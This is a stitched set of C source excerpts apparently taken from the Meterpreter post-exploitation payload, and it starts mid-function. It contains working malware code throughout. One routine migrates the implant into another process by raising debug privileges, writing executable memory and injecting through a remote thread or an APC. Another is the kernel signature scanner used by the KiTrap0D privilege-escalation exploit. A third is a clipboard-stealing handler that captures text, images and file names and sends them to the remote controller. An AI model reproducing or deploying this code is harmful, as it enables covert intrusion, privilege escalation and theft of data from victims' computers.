ERROR_SUCCESS && response) { dprintf("[MIGRATE] Sending response"); packet_transmit_response(dwResult, remote, response); } // Cleanup... if (hProcess) { dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); CloseHandle(hProcess); } if (hEvent) { dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); CloseHandle(hEvent); } if (pResult) { *pResult = dwResult; } // if migration succeeded, return 'FALSE' to indicate server thread termination. dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); return ERROR_SUCCESS == dwResult ? FALSE : TRUE; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; MIGRATECONTEXT ctx = { 0 }; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (config->session.comms_fd) { // Duplicate the socket for the target process if we are SSL based if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) { BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") } } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") } // Get the architecture specific process migration stub... if (dwDestinationArch == PROCESS_ARCH_X86) { lpMigrateStub = (LPVOID)&migrate_stub_x86; dwMigrateStubLength = sizeof(migrate_stub_x86); } else if (dwDestinationArch == PROCESS_ARCH_X64) { lpMigrateStub = (LPVOID)&migrate_stub_x64; dwMigrateStubLength = sizeof(migrate_stub_x64); } else { SetLastError(ERROR_BAD_ENVIRONMENT); dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); break; } // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") } // Calculate the address of the payload... ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") } // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") } } dwResult = ERROR_SUCCESS; } while (0);
/* * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream) */ DWORD WINAPI context_message_thread( LPVOID lpParameter ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hServerPipe = NULL; BYTE * pBuffer = NULL; char cNamedPipe[MAX_PATH] = {0}; __try { do { _snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName ); dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe ); hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL ); if( !hServerPipe ) BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" ); while( TRUE ) { struct _hdr { DWORD dwMessage; DWORD dwLength; } header = {0}; DWORD dwTotal = 0; if( !ConnectNamedPipe( hServerPipe, NULL ) ) { if( GetLastError() != ERROR_PIPE_CONNECTED ) continue; } dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header ); if( dwTotal != sizeof( struct _hdr ) ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE ); pBuffer = (BYTE *)malloc( header.dwLength ); if( !pBuffer ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE ); dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer ); if( dwTotal != header.dwLength ) BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE ); DisconnectNamedPipe( hServerPipe ); switch( header.dwMessage ) { case MESSAGE_SETENCODING: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwEncoding = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding ); break; case MESSAGE_SETPIXELFORMAT: if( header.dwLength != sizeof(PIXELFORMAT) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength ); break; } memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) ); dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" ); break; case MESSAGE_SETCOMPRESSLEVEL: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwCompressLevel = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel ); break; case MESSAGE_SETQUALITYLEVEL: if( header.dwLength != sizeof(DWORD) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.dwQualityLevel = *(DWORD *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel ); break; case MESSAGE_SETCOPYRECTUSE: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bUseCopyRect = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect ); break; case MESSAGE_SETENCODINGRICHCURSOR: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor ); break; case MESSAGE_SETENCODINGPOINTERPOS: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos ); break; case MESSAGE_SETENCODINGLASTRECT: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingLastRect = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect ); break; case MESSAGE_SETENCODINGNEWFBSIZE: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize ); break; case MESSAGE_SETENCODINGXCURSOR: if( header.dwLength != sizeof(BOOL) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength ); break; } AgentContext.bEncodingXCursor = *(BOOL *)pBuffer; dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor ); break; /* case MESSAGE_SETZLIBDICTIONARY: if( header.dwLength < sizeof(DICTMSG) ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength ); break; } else { DICTMSG * dmsg = (DICTMSG *)pBuffer; if( dmsg->dwId > 4 ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId ); break; } if( AgentContext.dictionaries[dmsg->dwId] ) free( AgentContext.dictionaries[dmsg->dwId] ); AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength ); if( !AgentContext.dictionaries[dmsg->dwId] ) { dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" ); break; } AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId; AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength; memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength ); dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength ); } break; */ default: dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage ); break; } if( pBuffer ) { free( pBuffer ); pBuffer = NULL; } } } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" ); } dprintf("[LOADER] loader_message_thread. thread finishing..."); if( hServerPipe ) { DisconnectNamedPipe( hServerPipe ); CLOSE_HANDLE( hServerPipe ); } if( pBuffer ) free( pBuffer ); return dwResult; }
/* * Scan the appropriate kernel image for the correct offset */ BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase ) { DWORD dwResult = ERROR_SUCCESS; FARPROC NtQuerySystemInformation = NULL; HMODULE hKernel = NULL; HMODULE hNtdll = NULL; PIMAGE_DOS_HEADER DosHeader = NULL; PIMAGE_NT_HEADERS PeHeader = NULL; PIMAGE_OPTIONAL_HEADER OptHeader = NULL; PBYTE ImageBase = NULL; HKEY MmHandle = NULL; OSVERSIONINFO os = {0}; SYSTEM_MODULE_INFORMATION ModuleInfo = {0}; DWORD PhysicalAddressExtensions = 0; DWORD DataSize = 0; ULONG i = 0; ULONG x = 0; // List of versions we have code signatures for. enum { MICROSOFT_WINDOWS_NT4 = 0, MICROSOFT_WINDOWS_2000 = 1, MICROSOFT_WINDOWS_XP = 2, MICROSOFT_WINDOWS_2003 = 3, MICROSOFT_WINDOWS_VISTA = 4, MICROSOFT_WINDOWS_2008 = 5, MICROSOFT_WINDOWS_7 = 6, } Version = MICROSOFT_WINDOWS_7; do { hNtdll = GetModuleHandle("ntdll"); if( !hNtdll ) BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE ); // NtQuerySystemInformation can be used to find kernel base address NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" ); if( !NtQuerySystemInformation ) BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE ); // Determine kernel version so that the correct code signature is used os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion); if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_NT4; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_2000; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 ) Version = MICROSOFT_WINDOWS_XP; if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) Version = MICROSOFT_WINDOWS_2003; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_VISTA; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 ) Version = MICROSOFT_WINDOWS_2008; if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 ) Version = MICROSOFT_WINDOWS_7; // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base ); // Load the kernel image specified hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 ); if( !hKernel ) BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" ); // Parse image headers *KernelBase = (DWORD)ModuleInfo.Module[0].Base; ImageBase = (PBYTE)hKernel; DosHeader = (PIMAGE_DOS_HEADER)ImageBase; PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); OptHeader = &PeHeader->OptionalHeader; dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version ); for( x=0 ; ; x++ ) { if( CodeSignatures[x].Version == -1 ) break; if( CodeSignatures[x].Version != Version ) continue; dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x ); // Scan for the appropriate signature... for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ ) { if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 ) { dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i ); *OffsetFromBase = i; FreeLibrary( hKernel ); return TRUE; } } } } while( 0 ); dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" ); if( hKernel ) FreeLibrary( hKernel ); return FALSE; }
/*! * @brief Handle the request to get the data from the clipboard. * @details This function currently only supports the following clipboard data formats: * - CF_TEXT - raw text data. * - CF_DIB - bitmap/image information. * - CF_HDROP - file selection. * * Over time more formats will be supported. * @param remote Pointer to the remote endpoint. * @param packet Pointer to the request packet. * @return Indication of success or failure. * @todo Add support for more data formats. */ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; HMODULE hShell32 = NULL; PGLOBALLOCK pGlobalLock = NULL; PGLOBALUNLOCK pGlobalUnlock = NULL; POPENCLIPBOARD pOpenClipboard = NULL; PCLOSECLIPBOARD pCloseClipboard = NULL; PGETCLIPBOARDDATA pGetClipboardData = NULL; PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL; PDRAGQUERYFILEA pDragQueryFileA = NULL; PCREATEFILEA pCreateFileA = NULL; PCLOSEHANDLE pCloseHandle = NULL; PGETFILESIZEEX pGetFileSizeEx = NULL; HANDLE hSourceFile = NULL; PCHAR lpClipString = NULL; HGLOBAL hClipboardData = NULL; HDROP hFileDrop = NULL; UINT uFormat = 0; UINT uFileIndex = 0; UINT uFileCount = 0; CHAR lpFileName[MAX_PATH]; Tlv entries[2] = { 0 }; LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; PUCHAR lpDIB = NULL; ConvertedImage image; BOOL bImageDownload = FALSE; DWORD dwWidth; DWORD dwHeight; Tlv imageTlv[3]; Packet *pResponse = packet_create_response(packet); do { dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData"); if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats"); if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll"); // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data..."); while (uFormat = pEnumClipboardFormats(uFormat)) { if (uFormat == CF_TEXT) { // there's raw text on the clipboard if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL && (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString); pGlobalUnlock(hClipboardData); } } else if (uFormat == CF_DIB) { dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data"); // an image of some kind is on the clipboard if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions."); // grab the bitmap image size dwWidth = htonl(lpBI->bmiHeader.biWidth); dwHeight = htonl(lpBI->bmiHeader.biHeight); imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX; imageTlv[0].header.length = sizeof(UINT); imageTlv[0].buffer = (PUCHAR)&dwWidth; imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY; imageTlv[1].header.length = sizeof(UINT); imageTlv[1].buffer = (PUCHAR)&dwHeight; // only download the image if they want it bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight, bImageDownload ? "WILL" : "will NOT"); if (!bImageDownload) { packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2); } else { lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE); // TODO: add the ability to encode with multiple encoders and return the smallest image. if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) { dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA; imageTlv[2].header.length = image.dwImageBufferSize; imageTlv[2].buffer = (PUCHAR)image.pImageBuffer; packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3); // Just leaving this in for debugging purposes later on //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); //CloseHandle(hSourceFile); free(image.pImageBuffer); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG"); } } pGlobalUnlock(hClipboardData); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information"); } } else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard"); do { dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll"); if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA"); if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle"); if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx"); if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA"); if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data"); if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL && (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) { uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0); dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount); for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) { if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) { dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName); memset(&entries, 0, sizeof(entries)); memset(&largeInt, 0, sizeof(largeInt)); entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; entries[0].header.length = (DWORD)strlen(lpFileName) + 1; entries[0].buffer = (PUCHAR)lpFileName; entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; entries[1].header.length = sizeof(QWORD); entries[1].buffer = (PUCHAR)&largeInt.QuadPart; if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) { if (pGetFileSizeEx(hSourceFile, &largeInt)) { largeInt.QuadPart = htonq(largeInt.QuadPart); } pCloseHandle(hSourceFile); } packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2); } } pGlobalUnlock(hClipboardData); } } while (0); } } dwResult = GetLastError(); pCloseClipboard(); } while (0); if (hShell32) FreeLibrary(hShell32); if (hKernel32) FreeLibrary(hKernel32); if (hUser32) FreeLibrary(hUser32); if (pResponse) packet_transmit_response(dwResult, remote, pResponse); return dwResult; #else return ERROR_NOT_SUPPORTED; #endif }